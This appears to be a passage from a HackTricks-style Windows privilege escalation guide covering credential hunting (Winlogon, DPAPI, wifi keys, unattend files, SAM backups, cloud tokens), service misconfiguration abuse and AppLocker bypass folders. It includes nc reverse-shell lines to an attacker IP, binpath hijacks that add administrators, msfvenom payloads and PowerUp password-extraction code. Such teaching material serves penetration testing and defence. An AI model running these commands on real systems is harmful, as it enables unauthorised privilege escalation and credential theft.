+When using LAPS, 2 new attributes appear in the computer objects of the domain: _ms-msc-AdmPwd_ and _ms-mcs-AdmPwdExpirationTime._ These attributes contains the plain-text admin password and the expiration time. Then, in a domain environment, it could be interesting to check which users can read these attributes...
+
+### WDigest
+
+If active, **plain-text passwords are stored in LSASS** \(Local Security Authority Subsystem Service\).  
+[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest).
+
+```text
+reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
+```
+
+### LSA Protection
+
+Microsoft in **Windows 8.1 and later** has provided additional protection for the LSA to **prevent** untrusted processes from being able to **read its memory** or to inject code.  
+[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection).
+
+```text
+reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
+```
+
+### Credentials Guard
+
+**Credential Guard** is a new feature in Windows 10 \(Enterprise and Education edition\) that helps to protect your credentials on a machine from threats such as pass the hash.  
+****[**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)\*\*\*\*
+
+```text
+reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags
+```
+
+### Cached Credentials
+
+**Domain credentials** are used by operating system components and are **authenticated** by the **Local** **Security Authority** \(LSA\). Typically, domain credentials are established for a user when a registered security package authenticates the user's logon data.  
+[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials).
+
+```text
+reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
+```
+
+### AV
+
+Check is there is any anti virus running:
+
+```bash
+WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | more
+Get-MpComputerStatus 
+```
+
+### AppLocker Policy
+
+Check which files/extensions are blacklisted/whitelisted.
+
+```text
+Get-ApplockerPolicy -Effective -xml
+Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
+$a = Get-ApplockerPolicy -effective
+$a.rulecollections
+```
+
+#### Useful Writable folders to bypass AppLocker Policy
+
+```text
+C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
+C:\Windows\System32\spool\drivers\color
+C:\Windows\Tasks
+C:\windows\tracing
+```
+
+### UAC
+
+UAC is used to allow an **administrator user to not give administrator privileges to each process executed**. This is **achieved using default** the **low privileged token** of the user.  
+[**More information about UAC here**](../authentication-credentials-uac-and-efs.md#uac).
+
+```text
+ reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ 
+```
+
+## Users & Groups
+
+### Enumerate Users & Groups
+
+You should check if any of the groups where you belong have interesting permissions
+
+```bash
+# CMD
+net users %username% #Me
+net users #All local users
+net localgroup #Groups
+net localgroup Administrators #Who is inside Administrators group
+whoami /all #Check the privileges
+
+# PS
+Get-WmiObject -Class Win32_UserAccount
+Get-LocalUser | ft Name,Enabled,LastLogon
+Get-ChildItem C:\Users -Force | select Name
+Get-LocalGroupMember Administrators | ft Name, PrincipalSource
+```
+
+### Privileged groups
+
+If you **belongs to some privileged group you may be able to escalate privileges**. Learn about privileged groups and how to abuse them to escalate privileges here:
+
+{% page-ref page="../active-directory-methodology/privileged-accounts-and-token-privileges.md" %}
+
+### Token manipulation
+
+**Learn more** about what is a **token** in this page: [**Windows Tokens**](../authentication-credentials-uac-and-efs.md#access-tokens).  
+Check the following page to **learn about interesting tokens** and how to abuse them:
+
+{% page-ref page="privilege-escalation-abusing-tokens.md" %}
+
+### Logged users / Sessions
+
+```text
+qwinsta
+klist sessions
+```
+
+### Home folders
+
+```text
+dir C:\Users
+Get-ChildItem C:\Users
+```
+
+### Password Policy
+
+```text
+net accounts
+```
+
+### Get the content of the clipboard
+
+```bash
+powershell -command "Get-Clipboard"
+```
+
+## Running Processes
+
+### File and Folder Permissions
+
+First of all, listing the processes **check for passwords inside the command line of the process**.  
+Check if you can **overwrite some binary running** or if you have write permissions of the binary folder to exploit possible [**DLL Hijacking attacks**](dll-hijacking.md):
+
+```bash
+Tasklist /SVC #List processes running and services
+tasklist /v /fi "username eq system" #Filter "system" processes
+
+#With allowed Usernames
+Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
+
+#Without usernames
+Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
+```
+
+Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
+
+#### Checking permissions of the processes binaries
+
+```bash
+for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
+	for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
+		icacls "%%z" 
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
+	)
+)
+```
+
+#### Checking permissions of the folders of the processes binaries \([DLL Hijacking](dll-hijacking.md)\)
+
+```bash
+for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v 
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
+	icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users 
todos %username%" && echo.
+)
+```
+
+### Memory Password mining
+
+You can create a memory dump of a running process using **procdump** from sysinternals. Services like FTP have the **credentials in clear text in memory**, try to dump the memory and read the credentials.
+
+```text
+procdump.exe -accepteula -ma <proc_name_tasklist>
+```
+
+### Insecure GUI apps
+
+**Applications running as SYSTEM may allow an user to spawn a CMD, or browse directories.**
+
+Example: "Windows Help and Support" \(Windows + F1\), search for "command prompt", click on "Click to open Command Prompt"
+
+## Services
+
+Get a list of services:
+
+```text
+net start
+wmic service list brief
+sc query
+Get-Service
+```
+
+### Permissions
+
+You can use **sc** to get information of a service
+
+```text
+sc qc <service_name>
+```
+
+It is recommended to have the binary **accesschk** from _Sysinternals_ to check the required privilege level for each service.
+
+```bash
+accesschk.exe -ucqv <Service_Name> #Check rights for different groups
+```
+
+It is recommended to check if "Authenticated Users" can modify any service:
+
+```bash
+accesschk.exe -uwcqv "Authenticated Users" * /accepteula
+accesschk.exe -uwcqv %USERNAME% * /accepteula
+accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
+accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
+```
+
+[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe)
+
+### Enable service
+
+If you are having this error \(for example with SSDPSRV\): 
+
+_System error 1058 has occurred.  
+The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._
+
+You can enable it using
+
+```bash
+sc config SSDPSRV start= demand
+sc config SSDPSRV obj= ".\LocalSystem" password= ""
+```
+
+**Take into account that the service upnphost depends on SSDPSRV to work \(for XP SP1\)**
+
+**Another workaround** of this problem is running:
+
+```text
+sc.exe config usosvc start= auto
+```
+
+### **Modify service binary path**
+
+If the group "Authenticated users" has **SERVICE\_ALL\_ACCESS** in a service, then it can modify the binary that is being executed by the service. To modify it and execute **nc** you can do:
+
+```bash
+sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
+sc config <Service_Name> binpath= "net localgroup administrators username /add"
+sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
+
+sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
+```
+
+### Restart service
+
+```text
+wmic service NAMEOFSERVICE call startservice
+net stop [service name] && net start [service name]
+```
+
+Other Permissions can be used to escalate privileges:  
+**SERVICE\_CHANGE\_CONFIG** Can reconfigure the service binary  
+**WRITE\_DAC:** Can reconfigure permissions, leading to SERVICE\_CHANGE\_CONFIG  
+**WRITE\_OWNER:** Can become owner, reconfigure permissions  
+**GENERIC\_WRITE:** Inherits SERVICE\_CHANGE\_CONFIG  
+**GENERIC\_ALL:** Inherits SERVICE\_CHANGE\_CONFIG
+
+**To detect and exploit** this vulnerability you can use _exploit/windows/local/service\_permissions_
+
+### Services binaries weak permissions
+
+**Check if you can modify the binary that is executed by a service** or if you have **write permissions on the folder** where the binary is located \([**DLL Hijacking**](dll-hijacking.md)\)**.**  
+You can get every binary that is executed by a service using **wmic** \(not in system32\) and check your permissions using **icacls**:
+
+```bash
+for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
+
+for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
+```
+
+You can also use **sc** and **icacls**:
+
+```bash
+sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
+FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
+FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
+```
+
+### Services registry modify permissions
+
+You should check if you can modify any service registry.  
+You can **check** your **permissions** over a service **registry** doing:
+
+```bash
+reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
+
+#Try to write every service with its current content (to check if you have write permissions)
+for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
+
+get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
+```
+
+Check if **Authenticated Users** or **NT AUTHORITY\INTERACTIVE** have FullControl. In that case you can change the binary that is going to be executed by the service.
+
+To change the Path of the binary executed:
+
+```bash
+reg add HKLM\SYSTEM\CurrentControlSet\srevices\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
+```
+
+### Services registry AppendData/AddSubdirectory permissions
+
+If you have this permission over a registry this means to **you can create sub registries from this one**. In case of Windows services this is **enough to execute arbitrary code:**
+
+{% page-ref page="appenddata-addsubdirectory-permission-over-service-registry.md" %}
+
+
+
+### Unquoted Service Paths
+
+If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.
+
+For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute:
+
+```text
+C:\Program.exe 
+C:\Program Files\Some.exe 
+C:\Program Files\Some Folder\Service.exe
+```
+
+To list all unquoted service paths \(minus built-in Windows services\)
+
+```bash
+wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
+wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services
+
+#Other way
+for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
+	for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
+		echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
+	)
+)
+```
+
+```bash
+gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
+```
+
+**You can detect and exploit** this vulnerability with metasploit: _exploit/windows/local/trusted\_service\_path_  
+You can manually create a service binary with metasploit:
+
+```bash
+msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
+```
+
+### Recovery Actions
+
+It's possible to indicate Windows what it should do[ when executing a service this fails](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662%28v=ws.11%29?redirectedfrom=MSDN). If that setting is pointing a binary and this binary can be overwritten you may be able to escalate privileges.
+
+## Applications
+
+### Installed Applications
+
+Check **permissions of the binaries** \(maybe you can overwrite one and escalate privileges\) and of the **folders** \([DLL Hijacking](dll-hijacking.md)\).
+
+```bash
+dir /a "C:\Program Files"
+dir /a "C:\Program Files (x86)"
+reg query HKEY_LOCAL_MACHINE\SOFTWARE
+
+Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
+Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
+```
+
+### Write Permissions
+
+Check if you can modify some config file to read some special file or if you can modify some binary that is going to be executed by an Administrator account \(schedtasks\).
+
+A way to find weak folder/files permissions in the system is doing:
+
+```bash
+accesschk.exe /accepteula 
+# Find all weak folder permissions per drive.
+accesschk.exe -uwdqs Users c:\
+accesschk.exe -uwdqs "Authenticated Users" c:\
+accesschk.exe -uwdqs "Everyone" c:\
+# Find all weak file permissions per drive.
+accesschk.exe -uwqs Users c:\*.*
+accesschk.exe -uwqs "Authenticated Users" c:\*.*
+accesschk.exe -uwdqs "Everyone" c:\*.*
+```
+
+```bash
+icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
+icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
+```
+
+```bash
+Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} 
+
+Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
+```
+
+### Run at startup
+
+**Check if you can overwrite some registry or binary that is going to be executed by a different user.  
+Read** the **following page** to learn more about interesting **autoruns locations to escalate privileges**:
+
+{% page-ref page="privilege-escalation-with-autorun-binaries.md" %}
+
+### Drivers
+
+Look for possible **third party weird/vulnerable** drivers
+
+```text
+driverquery
+driverquery.exe /fo table
+driverquery /SI
+```
+
+## PATH DLL Hijacking
+
+If you have **write permissions inside a folder present on PATH** you could be able to hijack a DLL loaded by a process and **escalate privileges**.
+
+Check permissions of all folders inside PATH:
+
+```bash
+for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
+```
+
+## Network
+
+### Shares
+
+```bash
+net view #Get a list of computers
+net view /all /domain [domainname] #Shares on the domains
+net view \\computer /ALL #List shares of a computer
+net use x: \\computer\share #Mount the share locally
+net share #Check current shares
+```
+
+### hosts file
+
+Check for other known computers hardcoded on the hosts file
+
+```text
+type C:\Windows\System32\drivers\etc\hosts
+```
+
+### Network Interfaces & DNS
+
+```text
+ipconfig /all
+Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
+Get-DnsClientServerAddress -AddressFamily IPv4 | ft
+```
+
+### Open Ports
+
+Check for **restricted services** from the outside
+
+```bash
+netstat -ano #Opened ports?
+```
+
+### Routing Table
+
+```text
+route print
+Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
+```
+
+### ARP Table
+
+```text
+arp -A
+Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
+```
+
+### Firewall Rules
+
+\*\*\*\*[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **\(list rules, create rules, turn off, turn off...\)**
+
+More[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network)
+
+### Windows Subsystem for Linux \(wsl\)
+
+```text
+C:\Windows\System32\bash.exe
+C:\Windows\System32\wsl.exe
+```
+
+ Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
+
+If you get root user you can listen on any port \(the first time you use `nc.exe` to listen on a port it will ask via GUI if `nc` should be allowed by the firewall\).
+
+```text
+wsl whoami
+./ubuntun1604.exe config --default-user root
+wsl whoami
+wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
+```
+
+To easily start bash as root, you can try `--default-user root`
+
+ You can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`
+
+## Windows Credentials
+
+### Winlogon Credentials
+
+```bash
+reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
+
+#Other way
+reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
+reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
+reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
+reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
+reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
+reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
+```
+
+### Credentials manager / Windows vault
+
+From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)  
+The Windows Vault stores user credentials for servers, websites and other programs that **Windows** can **log in the users automaticall**y. At first instance, this might look like now users can store their Facebook credentials, Twitter credentials, Gmail credentials etc., so that they automatically log in via browsers. But it is not so.
+
+Windows Vault stores credentials that Windows can log in the users automatically, which means that any **Windows application that needs credentials to access a resource** \(server or a website\) **can make use of this Credential Manager** & Windows Vault and use the credentials supplied instead of users entering the username and password all the time.
+
+Unless the applications interact with Credential Manager, I don't think it is possible for them to use the credentials for a given resource. So, if your application wants to make use of the vault, it should somehow **communicate with the credential manager and request the credentials for that resource** from the default storage vault.
+
+Use the `cmdkey` to list the stored credentials on the machine.
+
+```text
+cmdkey /list
+Currently stored credentials:
+ Target: Domain:interactive=WORKGROUP\Administrator
+ Type: Domain Password
+ User: WORKGROUP\Administrator
+```
+
+Then you can use `runas` with the `/savecred` options in order to use the saved credentials. The following example is calling a remote binary via an SMB share.
+
+```bash
+runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
+```
+
+Using `runas` with a provided set of credential.
+
+```bash
+C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
+```
+
+Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
+
+### DPAPI
+
+In theory, the Data Protection API can enable symmetric encryption of any kind of data; in practice, its primary use in the Windows operating system is to perform symmetric encryption of asymmetric private keys, using a user or system secret as a significant contribution of entropy.
+
+**DPAPI allows developers to encrypt keys using a symmetric key derived from the user's logon secrets**, or in the case of system encryption, using the system's domain authentication secrets.
+
+ The DPAPI keys used for encrypting the user's RSA keys are stored under `%APPDATA%\Microsoft\Protect\{SID}` directory, where {SID} is the [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) of that user. **The DPAPI key is stored in the same file as the master key that protects the users private keys**. It usually is 64 bytes of random data. \(Notice that this directory is protected so you cannot list it using`dir` from the cmd, but you can list it from PS\).
+
+```text
+Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
+Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\
+```
+
+You can use **mimikatz module** `dpapi::masterkey` with the appropriate arguments \(`/pvk` or `/rpc`\) to decrypt it.
+
+The **credentials files protected by the master password** are usually located in:
+
+```text
+dir C:\Users\username\AppData\Local\Microsoft\Credentials\
+dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
+Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
+Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
+```
+
+You can use **mimikatz module** `dpapi::cred` with the appropiate `/masterkey` to decrypt.  
+You can **extract many DPAPI** **masterkeys** from **memory** with the `sekurlsa::dpapi` module \(if you are root\).
+
+### Wifi
+
+```bash
+#List saved Wifi using
+netsh wlan show profile
+#To get the clear-text password use
+netsh wlan show profile <SSID> key=clear
+#Oneliner to extract all wifi passwords
+cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
+```
+
+### Saved RDP Connections
+
+You can find them on `HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\`  
+and in `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
+
+### Recently Run Commands
+
+```text
+HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
+HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
+```
+
+### **Remote Desktop Credential Manager**
+
+```text
+%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
+```
+
+Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**  
+You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module
+
+### AppCmd.exe
+
+**Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.  
+AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.  
+If this file exists then it is possible that some **credentials** have been configured and can be **recovered**.
+
+This code was extracted from _**PowerUP**_:
+
+```bash
+function Get-ApplicationHost {
+    $OrigError = $ErrorActionPreference
+    $ErrorActionPreference = "SilentlyContinue"
+
+    # Check if appcmd.exe exists
+    if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
+        # Create data table to house results
+        $DataTable = New-Object System.Data.DataTable
+
+        # Create and name columns in the data table
+        $Null = $DataTable.Columns.Add("user")
+        $Null = $DataTable.Columns.Add("pass")
+        $Null = $DataTable.Columns.Add("type")
+        $Null = $DataTable.Columns.Add("vdir")
+        $Null = $DataTable.Columns.Add("apppool")
+
+        # Get list of application pools
+        Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
+
+            # Get application pool name
+            $PoolName = $_
+
+            # Get username
+            $PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
+            $PoolUser = Invoke-Expression $PoolUserCmd
+
+            # Get password
+            $PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
+            $PoolPassword = Invoke-Expression $PoolPasswordCmd
+
+            # Check if credentials exists
+            if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
+                # Add credentials to database
+                $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
+            }
+        }
+
+        # Get list of virtual directories
+        Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
+
+            # Get Virtual Directory Name
+            $VdirName = $_
+
+            # Get username
+            $VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
+            $VdirUser = Invoke-Expression $VdirUserCmd
+
+            # Get password
+            $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
+            $VdirPassword = Invoke-Expression $VdirPasswordCmd
+
+            # Check if credentials exists
+            if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
+                # Add credentials to database
+                $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
+            }
+        }
+
+        # Check if any passwords were found
+        if( $DataTable.rows.Count -gt 0 ) {
+            # Display results in list view that can feed into the pipeline
+            $DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
+        }
+        else {
+            # Status user
+            Write-Verbose 'No application pool or virtual directory passwords were found.'
+            $False
+        }
+    }
+    else {
+        Write-Verbose 'Appcmd.exe does not exist in the default location.'
+        $False
+    }
+    $ErrorActionPreference = $OrigError
+}
+```
+
+### SCClient / SCCM
+
+Check if `C:\Windows\CCM\SCClient.exe` exists .  
+Installers are **run with SYSTEM privileges**, many are vulnerable to **DLL Sideloading \(Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**\).**
+
+```bash
+$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
+if ($result) { $result }
+else { Write "Not Installed." }
+```
+
+## Files and Registry \(Credentials\)
+
+### Putty Creds
+
+```bash
+reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
+```
+
+### Putty SSH Host Keys
+
+```text
+reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
+```
+
+### SSH keys in registry
+
+SSH private keys can be stored inside the registry key `HKCU\Software\OpenSSH\Agent\Keys`  so you should check if there is anything interesting in there:
+
+```text
+reg query HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys
+```
+
+If you find any entry inside that path it will probably be a saved SSH key. It is stored encrypted but can be easily decrypted using [https://github.com/ropnop/windows\_sshagent\_extract](https://github.com/ropnop/windows_sshagent_extract).  
+More information about this technique here: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
+
+If `ssh-agent` service is not running and you want it to automatically start on boot run:
+
+```text
+Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
+```
+
+{% hint style="info" %}
+It looks like this technique isn't valid anymore. I tried to create some ssh keys, add them with `ssh-add` and login via ssh to a machine. The registry HKCU\Software\OpenSSH\Agent\Keys doesn't exist and procmon didn't identify the use of `dpapi.dll` during the asymmetric key authentication.
+{% endhint %}
+
+### Unattended files
+
+```text
+C:\Windows\sysprep\sysprep.xml
+C:\Windows\sysprep\sysprep.inf
+C:\Windows\sysprep.inf
+C:\Windows\Panther\Unattended.xml
+C:\Windows\Panther\Unattend.xml
+C:\Windows\Panther\Unattend\Unattend.xml
+C:\Windows\Panther\Unattend\Unattended.xml
+C:\Windows\System32\Sysprep\unattend.xml
+C:\Windows\System32\Sysprep\unattended.xml
+C:\unattend.txt
+C:\unattend.inf
+dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
+```
+
+You can also search for these files using **metasploit**: _post/windows/gather/enum\_unattend_
+
+Example content_:_
+
+```markup
+<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
+    <AutoLogon>
+     <Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
+     <Enabled>true</Enabled>
+     <Username>Administrateur</Username>
+    </AutoLogon>
+
+    <UserAccounts>
+     <LocalAccounts>
+      <LocalAccount wcm:action="add">
+       <Password>*SENSITIVE*DATA*DELETED*</Password>
+       <Group>administrators;users</Group>
+       <Name>Administrateur</Name>
+      </LocalAccount>
+     </LocalAccounts>
+    </UserAccounts>
+```
+
+### SAM & SYSTEM backups
+
+```bash
+# Usually %SYSTEMROOT% = C:\Windows
+%SYSTEMROOT%\repair\SAM
+%SYSTEMROOT%\System32\config\RegBack\SAM
+%SYSTEMROOT%\System32\config\SAM
+%SYSTEMROOT%\repair\system
+%SYSTEMROOT%\System32\config\SYSTEM
+%SYSTEMROOT%\System32\config\RegBack\system
+```
+
+### Cloud Credentials
+
+```bash
+##From user home
+.aws\credentials
+AppData\Roaming\gcloud\credentials.db
+AppData\Roaming\gcloud\legacy_credentials
+AppData\Roaming\gcloud\access_tokens.db
+.azure\accessTokens.json
+.azure\azureProfile.json
+```
+
+### McAfee SiteList.xml
+
+Search for a file called **SiteList.xml**
+
+### Cached GPP Pasword
+
+Before KB2928120 \(see MS14-025\), some Group Policy Preferences could be configured with a custom account. This feature was mainly used to deploy a custom local administrator account on a group of machines. There were two problems with this approach though. First, since the Group Policy Objects are stored as XML files in SYSVOL, any domain user can read them. The second problem is that the password set in these GPPs is AES256-encrypted with a default key, which is publicly documented. This means that any authenticated user could potentially access very sensitive data and elevate their privileges on their machine or even the domain. This function will check whether any locally cached GPP file contains a non-empty "cpassword" field. If so, it will decrypt it and return a custom PS object containing some information about the GPP along with the location of the file.
+
+Search in ****_**C:\ProgramData\Microsoft\Group Policy\history**_  or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** \(previous to W Vista\)_ for these files:
+
+* Groups.xml
